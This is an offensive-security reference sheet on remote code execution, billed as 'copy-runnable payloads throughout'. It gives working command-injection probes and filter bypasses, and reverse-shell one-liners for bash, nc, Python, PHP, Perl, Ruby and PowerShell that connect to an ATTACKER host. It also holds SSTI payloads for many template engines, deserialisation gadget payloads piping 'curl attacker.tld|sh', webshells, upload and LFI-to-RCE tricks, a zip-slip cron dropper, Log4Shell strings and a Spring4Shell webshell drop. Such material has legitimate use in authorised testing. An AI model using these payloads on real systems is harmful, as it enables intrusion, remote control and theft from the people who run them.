RCE — Command, Template, Deserialization
RCE is the top line on every report. This note is the working catalogue of the primitives that still land in 2026 — command injection, template injection, deserialisation, file upload sinks, and the CVE chains that bundle them. Copy-runnable payloads throughout.
Command Injection
Detection
# Single-shot probes — if any of these produce a time delay or a collaborator hit, you have injection
curl "$TARGET/?x=127.0.0.1;id"
curl "$TARGET/?x=127.0.0.1|id"
curl "$TARGET/?x=127.0.0.1%0Aid"
curl "$TARGET/?x=127.0.0.1%0a%0did"
curl "$TARGET/?x=127.0.0.1%26id"
curl "$TARGET/?x=127.0.0.1\`id\`"
curl "$TARGET/?x=127.0.0.1\$(id)"
curl "$TARGET/?x=127.0.0.1;sleep%205" ← timing
curl "$TARGET/?x=127.0.0.1||ping%20-c%204%20ID.oast.pro" ← OOB
Shell metacharacters that work in 2026
; & | && || `cmd` $(cmd) %0a (LF) %0d (CR) %00
Classic separators (POSIX shell)
cmd1 ; cmd2 # run both, unconditional
cmd1 && cmd2 # run cmd2 if cmd1 succeeds
cmd1 || cmd2 # run cmd2 if cmd1 fails
cmd1 | cmd2 # pipe stdout to stdin
cmd1 & cmd2 # background cmd1, run cmd2
$(cmd) # command substitution
`cmd` # legacy command substitution
Windows
cmd1 & cmd2
cmd1 && cmd2
cmd1 | cmd2
cmd1 || cmd2
PowerShell has its own:
cmd1 ; cmd2
$(cmd)
&{cmd}
Filter bypass — space removed
cat${IFS}/etc/passwd
cat$IFS/etc/passwd
cat</etc/passwd
{cat,/etc/passwd}
cat<<<$'\n/etc/passwd'
# Tab character
cat%09/etc/passwd
Filter bypass — slash blocked (path traversal)
cd etc; cat passwd
cat /e??/p?ss??
cat /e*c/pass*d
cat $(echo L2V0Yy9wYXNzd2Q= | base64 -d)
Filter bypass — keyword blocklist (cat / wget / curl blocked)
c''at /etc/passwd
c\\at /etc/passwd
c"a"t /etc/passwd
${CAT:=cat} $CAT /etc/passwd
# Reverse the string
rev <<< dwssap/cte/ tac
# Use a different binary
tac /etc/passwd
less /etc/passwd
more /etc/passwd
head -n 1000 /etc/passwd
tail -n 1000 /etc/passwd
od -c /etc/passwd
xxd /etc/passwd
strings /etc/passwd
awk '1' /etc/passwd
sed '' /etc/passwd
grep '' /etc/passwd
perl -pe '' /etc/passwd
python3 -c 'print(open("/etc/passwd").read())'
Blind command injection — OOB
# DNS tunnel data out via hostname
?x=1;curl%20$(whoami).attacker.tld
?x=1;ping%20$(hostname).oast.pro
?x=1;nslookup%20$(id|base64).oast.pro
Register a collaborator, watch logs, extract base64 from the subdomain label.
Blind command injection — timing
?x=1;sleep%205
?x=1|sleep%205
?x=1&&sleep%205
?x=1;if%20[%20$(whoami)%20=%20root%20];then%20sleep%205;fi
Reverse shell one-liners (Linux)
# Bash
bash -i >& /dev/tcp/ATTACKER/4444 0>&1
# Bash (alt)
0<&196;exec 196<>/dev/tcp/ATTACKER/4444; sh <&196 >&196 2>&196
# nc (with -e, traditional nc only)
nc -e /bin/bash ATTACKER 4444
# nc mkfifo (any nc)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER 4444 >/tmp/f
# Python
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'
# PHP
php -r '$sock=fsockopen("ATTACKER",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
# Perl
perl -e 'use Socket;$i="ATTACKER";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# Ruby
ruby -rsocket -e 'f=TCPSocket.open("ATTACKER",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
# Go (compiled separately, drop binary)
GOOS=linux GOARCH=amd64 go build -o rev rev.go
Reverse shell (Windows)
# PowerShell
powershell -NoP -NonI -W Hidden -Exec Bypass -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
# Stage from HTTP
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/s.ps1')"
# Nishang / PowerCat
powercat -c ATTACKER -p 4444 -e powershell
Spawn a TTY after getting a shell
# Once inside a crappy /bin/sh reverse shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm-256color
stty rows 40 columns 120
# Or upgrade via script
script -q /dev/null
Server-Side Template Injection (SSTI)
Template engines run code. User input concatenated into a template → code execution. Test every output that seems to "format" user data.
Detection — universal probe
${7*7}
{{7*7}}
<%= 7*7 %>
#{7*7}
${{7*7}}
@(7*7)
%{7*7}
<th:block th:text="${7*7}"/>
Response shows 49 → template engine executed math. Which probe fired tells you which engine.
| Rendered as | Engine |
|---|---|
49 from {{7*7}} | Jinja2, Twig, Liquid, Handlebars |
49 from ${7*7} | Freemarker, JSP EL, Thymeleaf, Velocity, Groovy |
49 from <%= 7*7 %> | ERB (Ruby), EJS (Node), JSP |
49 from #{7*7} | Pug |
{{7*7}} unchanged but {{7+7}} renders 14 | Twig SAFE mode |
Disambiguating same-probe engines
{{7*'7'}} → Jinja2: '7777777' (int * str = repeated string)
{{7*'7'}} → Twig: 49 (str coerced to int)
{{config}} → Jinja2: <Config object>
{{_self}} → Twig: <Twig_Template>
${7*7} → Freemarker: 49
${"z".getClass()} → Freemarker: class java.lang.String
${7*7} → Thymeleaf (Spring): often 49 or parsed literal
Jinja2 — the canonical SSTI
Flask's default template engine. Best-known payload set.
# Detect
{{7*7}}
# Dump config (Flask SECRET_KEY, DB URLs, every env var)
{{config}}
{{config.items()}}
# Reach Python runtime
{{''.__class__.__mro__[1].__subclasses__()}}
# Pick an index that's <class 'subprocess.Popen'>
{{''.__class__.__mro__[1].__subclasses__()[258]('id',shell=True,stdout=-1).communicate()}}
# Modern Jinja (built-in globals)
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
# Shorter — lipsum trick
{{lipsum.__globals__.os.popen('id').read()}}
# Even shorter — via url_for / get_flashed_messages
{{url_for.__globals__.__builtins__.__import__('os').popen('id').read()}}
# Bypass {{ }} filter with {% %}
{%print(''.__class__.__mro__[1].__subclasses__()[258]('id',shell=True,stdout=-1).communicate())%}
Flask + Jinja2 one-liner for SECRET_KEY extraction
{{config['SECRET_KEY']}}
With SECRET_KEY you forge session cookies:
flask-unsign --sign --secret 'leaked_key' --cookie "{'user_id': 1, 'role': 'admin'}"
Twig (PHP — Symfony, Drupal)
{{7*7}} → 49
{{_self}} → Twig environment
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
# Twig 2.x
{{['id']|filter('system')}}
# Twig 3.x
{{['id']|map('system')|join(' ')}}
Drupal 8/9 SSTI (CVE-2019-6340 shape) is Twig through a REST endpoint:
PATCH /node/1?_format=hal_json HTTP/1.1
{"link":[{"options":"O:24:\"Drupal\\\\Core\\\\Link\\\\Text\":..."}]}
Freemarker (Java — Liferay, Apereo, many enterprise CMS)
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
<#assign val="freemarker.template.utility.ObjectConstructor"?new()>${val("java.lang.ProcessBuilder",["id"]).start()}
${"freemarker.template.utility.Execute"?new()("id")}
Velocity (Java — Confluence-adjacent, many CMS)
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null))
#set($process=$runtime.exec("id"))
#set($inputStream=$process.getInputStream())
#set($inputStreamReader=$stringClass.forName("java.io.InputStreamReader").getConstructor($stringClass.forName("java.io.InputStream")).newInstance($inputStream))
#set($bufferedReader=$stringClass.forName("java.io.BufferedReader").getConstructor($stringClass.forName("java.io.Reader")).newInstance($inputStreamReader))
#set($output="")
#foreach($i in [1..9999])
#set($line=$bufferedReader.readLine())
#if($line==$null)#break#end
#set($output="$output$line")
#end
$output
Modern Velocity Engine versions block Runtime in strict mode; look for older versions in Confluence, Atlassian, and JIRA plugins.
Thymeleaf (Spring)
${T(java.lang.Runtime).getRuntime().exec('id')}
# In expression preprocessors
__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x
CVE-2024-22263 class — Thymeleaf SSTI through Spring path variables.
ERB (Ruby) / Ruby template injection
<%= system('id') %>
<%= `id` %>
<%= IO.popen('id').read %>
<%= File.open('/etc/passwd').read %>
Handlebars (Node)
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}{{this.push "return process.mainModule.require('child_process').execSync('id').toString();"}}
{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
Messy. Use tplmap or SSTImap to speed up discovery.
Automated SSTI
# SSTImap — fork of tplmap
git clone https://github.com/vladko312/SSTImap
python3 sstimap.py -u "https://$TARGET/?x=FUZZ" --os-shell
# Burp extension: Hackvertor (template detection + encoding)
Deserialization RCE
Take untrusted data, call the language's deserializer, execute attacker code. Classic and still a bug factory.
Java — ysoserial
git clone https://github.com/frohoff/ysoserial
mvn clean package -DskipTests
# Generate a payload for a classpath gadget
java -jar ysoserial.jar CommonsCollections5 'curl attacker.tld|sh' > payload.bin
java -jar ysoserial.jar CommonsBeanutils1 'id' > payload.bin
java -jar ysoserial.jar Spring1 'id' > payload.bin
java -jar ysoserial.jar URLDNS 'http://ID.oast.pro/' > payload.bin ← DNS ping only
Then deliver the payload base64-encoded through whatever sink accepts it: cookies, ViewState (old ASP.NET bridges to Java), RMI, JMX, JMS, T3 (WebLogic), IIOP (old CORBA), deserialize-from-HTTP-body endpoints.
# HTTP body
curl -X POST "$TARGET/api/admin" -H 'Content-Type: application/x-java-serialized-object' --data-binary @payload.bin
# Cookie
curl "$TARGET/" -H "Cookie: rememberMe=$(base64 -w0 payload.bin)" ← Shiro CVE-2016-4437 shape
.NET — ysoserial.net
# Install the tool
dotnet tool install --global ysoserial.net --version 1.36.0
# Generate payload
ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "calc.exe"
ysoserial.exe -f Json.Net -g ObjectDataProvider -c "cmd /c whoami"
# ViewState (ASP.NET classic)
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami" --validationkey="KEY" --validationalg="SHA1"
# To target a signed ViewState you need the machineKey. Leak it via LFI/SSRF/Config file disclosure.
PHP — phpggc
git clone https://github.com/ambionics/phpggc
cd phpggc
# List gadget chains for installed libraries
./phpggc -l | head
# Generate
./phpggc Laravel/RCE9 system id -b ← base64 encoded, safe for URL
./phpggc Guzzle/RCE1 system id
./phpggc Monolog/RCE5 system id
./phpggc Symfony/RCE4 system id
./phpggc Wordpress/RCE1 system id
# Deliver via unserialize() sink
curl "$TARGET/?data=$(./phpggc Monolog/RCE5 system id -u)"
Grep target for unserialize(, ->unserialize(, Yaml::parse, PHAR://, wakeup, destruct. PHAR metadata deserialisation reaches unserialize via any file-handling function that touches a phar:// URL — file_exists, filesize, fopen, imagecreatefromfile.
Python — pickle
import pickle, os, base64
class RCE:
def __reduce__(self):
return (os.system, ('curl attacker.tld|sh',))
payload = base64.b64encode(pickle.dumps(RCE())).decode()
print(payload)
Any pickle.loads on attacker-controlled bytes = RCE. Same story for:
yaml.load(x) ← use yaml.safe_load
yaml.full_load(x)
shelve.open(...) ← wraps pickle
dill.loads(x)
joblib.load('x.pkl')
torch.load('x.bin') ← HUGE attack surface in ML deployments
Ruby — Marshal / YAML
require 'erb'
require 'yaml'
# YAML.load (not safe_load) on ≤Ruby 2.x
payload = "--- !ruby/object:Gem::Installer\n i: x\n--- !ruby/object:Gem::SpecFetcher\n i: y\n--- !ruby/object:Gem::Requirement\n requirements:\n !ruby/object:Gem::Package::TarReader\n io: &1 !ruby/object:Net::BufferedIO\n io: &1 !ruby/object:Gem::Package::TarReader::Entry\n read: 'id'\n header: \"abc\"\n debug_output: &1 !ruby/object:Net::WriteAdapter\n socket: &1 !ruby/object:Gem::RequestSet\n sets: !ruby/object:Net::WriteAdapter\n socket: !ruby/module 'Kernel'\n method_id: :system\n git_set: id\n method_id: :resolve\n"
universal_gadget_rb repo has tested chains.
Node.js — node-serialize
const payload = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('id', function(err,out){ console.log(out); }); }()"
};
const serialized = require('node-serialize').serialize(payload);
// This string → send to target
Lots of older React/Express apps still use node-serialize.
Detection heuristics
Java: bytes beginning with 0xACED0005
.NET: XML with "System.Data.Services.Internal" references; or base64 starting with AAEA
PHP: strings like O:8:"stdClass":1:{...}, a:1:{i:0;...}
Python: bytes starting with 0x80 (pickle opcode)
Ruby: 04 08 (Marshal magic)
Grep HTTP responses and cookies for these signatures — finding them is half the battle.
File Upload to RCE
Every file upload form is an RCE candidate. The gate is content-type / extension filtering. Bypass patterns:
Filename extension tricks
shell.php.jpg ← double-extension, Apache <2.4 AddHandler
shell.php%00.jpg ← null byte (old PHP <5.3)
shell.phtml
shell.php5
shell.phar
shell.pht
shell.phtm
shell.htaccess ← upload .htaccess then upload shell.anything
shell.asp.jpg ← IIS 6 double extension
shell.asp;.jpg ← IIS <7
shell::$DATA ← NTFS alt stream
Content-Type spoof
Content-Type: image/jpeg
with a PHP file body. Many whitelist-by-mime libraries trust the header.
Magic bytes + polyglot
Prepend GIF89a to a PHP file → still an image to getimagesize(), still PHP to the engine:
GIF89a
<?php system($_GET['c']); ?>
SVG with embedded <script>
Server accepts SVG as "images." Browser renders them inline when served. Chain with stored XSS or direct RCE if the SVG is parsed by an XML library (see XXE).
ZIP path traversal (zip slip)
Upload a zip whose entries use ../../etc/cron.d/attacker as the filename. If the server extracts without path sanitisation, you drop files anywhere writable.
import zipfile
with zipfile.ZipFile('evil.zip', 'w') as z:
z.writestr('../../../../../../etc/cron.d/attacker',
'* * * * * root curl attacker.tld|sh\n')
Race condition upload
Some apps upload to a temporary path, then move / rename / delete. If the temp path is web-reachable during the window, a fast GET races the cleanup:
# Upload in a loop
while :; do curl -F 'f=@shell.php' "$TARGET/upload"; done &
# Hit the shell in a loop in parallel
while :; do curl "$TARGET/uploads/tmp/shell.php?c=id"; done
Rely on the web server parsing the file
.jsp, .war → Tomcat
.aspx, .ashx → IIS
.jsp → Jetty
.js (with eval) → rarely, unless the app uses it
Upload a webshell in the format the backend executes.
Webshells
PHP:
<?php system($_GET['c']); ?>
<?php @eval($_POST['x']); ?> ← China Chopper
ASP/ASPX:
<%@ Language=VBScript %>
<%eval request("x")%>
<%@ Page Language="C#" %><%Response.Write(System.Diagnostics.Process.Start(new System.Diagnostics.ProcessStartInfo("cmd","/c "+Request["c"]){UseShellExecute=false,RedirectStandardOutput=true}).StandardOutput.ReadToEnd());%>
JSP:
<%@ page import="java.util.*,java.io.*"%>
<%Process p=Runtime.getRuntime().exec(request.getParameter("c"));BufferedReader d=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=d.readLine())!=null){out.println(l);}%>
For persistent access, drop a proper webshell:
- weevely (PHP)
- antSword (multi-language, GUI)
- wso / FilesMan (old but reliable)
LFI → RCE
Local file inclusion often bridges to RCE.
PHP wrappers
php://filter/convert.base64-encode/resource=index.php
php://filter/read=convert.base64-encode/resource=../config.php
# PHP expect:// (if ext loaded)
expect://id
# PHP zip:// / phar:// (chain with upload)
zip://./uploaded.zip%23file.php
phar://./uploaded.phar/any.txt
PHP wrapper chains (PHP 7.4+)
php://filter/zlib.deflate|convert.base64-encode/resource=...
These are the basis of the "PHP filter chain" RCE technique (2023) — you build arbitrary bytes by chaining filters to reach include() with a payload of your choosing. Tool: php_filter_chain_generator.py:
python3 php_filter_chain_generator.py --chain '<?php system($_GET[0]); ?>'
# → php://filter/convert.iconv.UTF8.CSISO2022KR|...
Use it when include($_GET['file']) is the only primitive and no upload is possible.
Log poisoning
Include a log file whose contents you control — Apache / Nginx access logs accept a User-Agent header, which gets written to disk:
curl "$TARGET/" -H "User-Agent: <?php system(\$_GET['c']); ?>"
curl "$TARGET/?file=/var/log/apache2/access.log&c=id"
/proc/self/environ
If /proc/self/environ is readable, HTTP User-Agent / Referer end up in the env — include them:
curl "$TARGET/?file=/proc/self/environ" -H "User-Agent: <?php system(\$_GET['c']); ?>"
Session file inclusion
PHP sessions stored as files. Fill a session with PHP code, include the session file:
curl "$TARGET/" -H "Cookie: PHPSESSID=abc" --data-urlencode "name=<?php system(\$_GET['c']); ?>"
curl "$TARGET/?file=/var/lib/php/sessions/sess_abc&c=id"
Server-Side Request Smuggling → RCE
HTTP request smuggling desyncs a front-end proxy from a back-end server. The back-end reads one more request than the front-end sent → attacker "smuggles" a privileged request. Most often this is used for cache poisoning or auth bypass; sometimes it reaches an admin RCE endpoint.
Quick detection:
POST / HTTP/1.1
Host: target
Transfer-Encoding: chunked
Content-Length: 6
0
XYZ
If the server responds 400 Bad Request for XYZ as an HTTP method, you have a TE.CL desync. Use Burp Smuggler extension — no need to hand-craft the rest.
Recent Mass-Exploited RCE CVEs
| CVE | Product | Shape |
|---|---|---|
| CVE-2021-44228 | Log4j "Log4Shell" | JNDI lookup from log string → RCE. Still finds victims. |
| CVE-2022-22965 | Spring4Shell | Spring Core ClassLoader → JSP drop |
| CVE-2022-22963 | Spring Cloud Function | SpEL injection RCE |
| CVE-2023-42793 | JetBrains TeamCity | Auth bypass + RCE |
| CVE-2023-46604 | Apache ActiveMQ OpenWire | Deserialisation RCE, mass ransomware |
| CVE-2023-50164 | Apache Struts | File upload → path traversal → RCE |
| CVE-2024-4577 | PHP CGI (Windows) | Argument injection → RCE, wide exploitation within 48h of disclosure |
| CVE-2024-5806 | MOVEit Transfer | Auth bypass (not strictly RCE but in the same campaigns) |
| CVE-2024-6387 | OpenSSH "regreSSHion" | Pre-auth RCE in sshd |
| CVE-2024-27198 | JetBrains TeamCity | Auth bypass → RCE via user creation |
| CVE-2024-23897 | Jenkins CLI | Arbitrary file read → RCE via SSH key leak |
| CVE-2024-45195 | Apache OFBiz | Path confusion → SSRF → SSTI → RCE |
| CVE-2024-38856 | Apache OFBiz | Screen rendering auth bypass → RCE |
| CVE-2024-38063 | Windows TCP/IP IPv6 | Pre-auth kernel RCE via crafted packet |
| CVE-2024-43044 | Jenkins | Arbitrary file read via plugin, chains to RCE |
| CVE-2024-49112 | Windows LDAP | Pre-auth integer overflow → RCE |
| CVE-2024-55591 | Fortinet FortiOS | Auth bypass affecting SSL VPN |
| CVE-2025-24813 | Apache Tomcat | Path traversal + session deserialisation → RCE |
| CVE-2025-30406 | CrushFTP | Unauth RCE via improperly validated XML |
| CVE-2025-22224 | VMware ESXi | VMCI zero-day used in APT chains |
Log4Shell payloads — still work on 2026 unpatched targets
${jndi:ldap://attacker.tld:1389/a}
${jndi:rmi://attacker.tld:1099/a}
${jndi:dns://attacker.tld/a}
${${lower:j}ndi:ldap://attacker.tld/a}
${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.tld/a}
${${env:ENV_NAME:-j}ndi:ldap://attacker.tld/a}
Nuclei pack:
nuclei -u "https://$TARGET/" -t cves/2021/CVE-2021-44228*.yaml
Spring4Shell
curl "https://$TARGET/path?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
Drops a JSP webshell at /tomcatwar.jsp.
Quick Reference
# Detection probes — run them early, everywhere
;id |id &&id ||id `id` $(id) %0Aid
# SSTI probes
{{7*7}} ${7*7} <%= 7*7 %> #{7*7} @(7*7)
# Java deserialisation one-shot
java -jar ysoserial.jar CommonsCollections5 'curl attacker.tld|sh' | base64 -w0
# PHP deserialisation one-shot
./phpggc Laravel/RCE9 system id -b
# Log4Shell
${jndi:ldap://ID.oast.pro/a}
# Webshell upload quickness
curl -F 'file=@shell.php' -F 'submit=upload' "$TARGET/upload"
curl "$TARGET/uploads/shell.php?c=id"
# Upgrade reverse shell to TTY
python3 -c 'import pty;pty.spawn("/bin/bash")' ; stty raw -echo ; fg
# Every target: sign up for https://oast.pro, grab a subdomain, paste it everywhere
Pairs with SSRF, XXE, SQLi. Chain: SSRF → internal service → RCE is the most common escalation in modern engagements.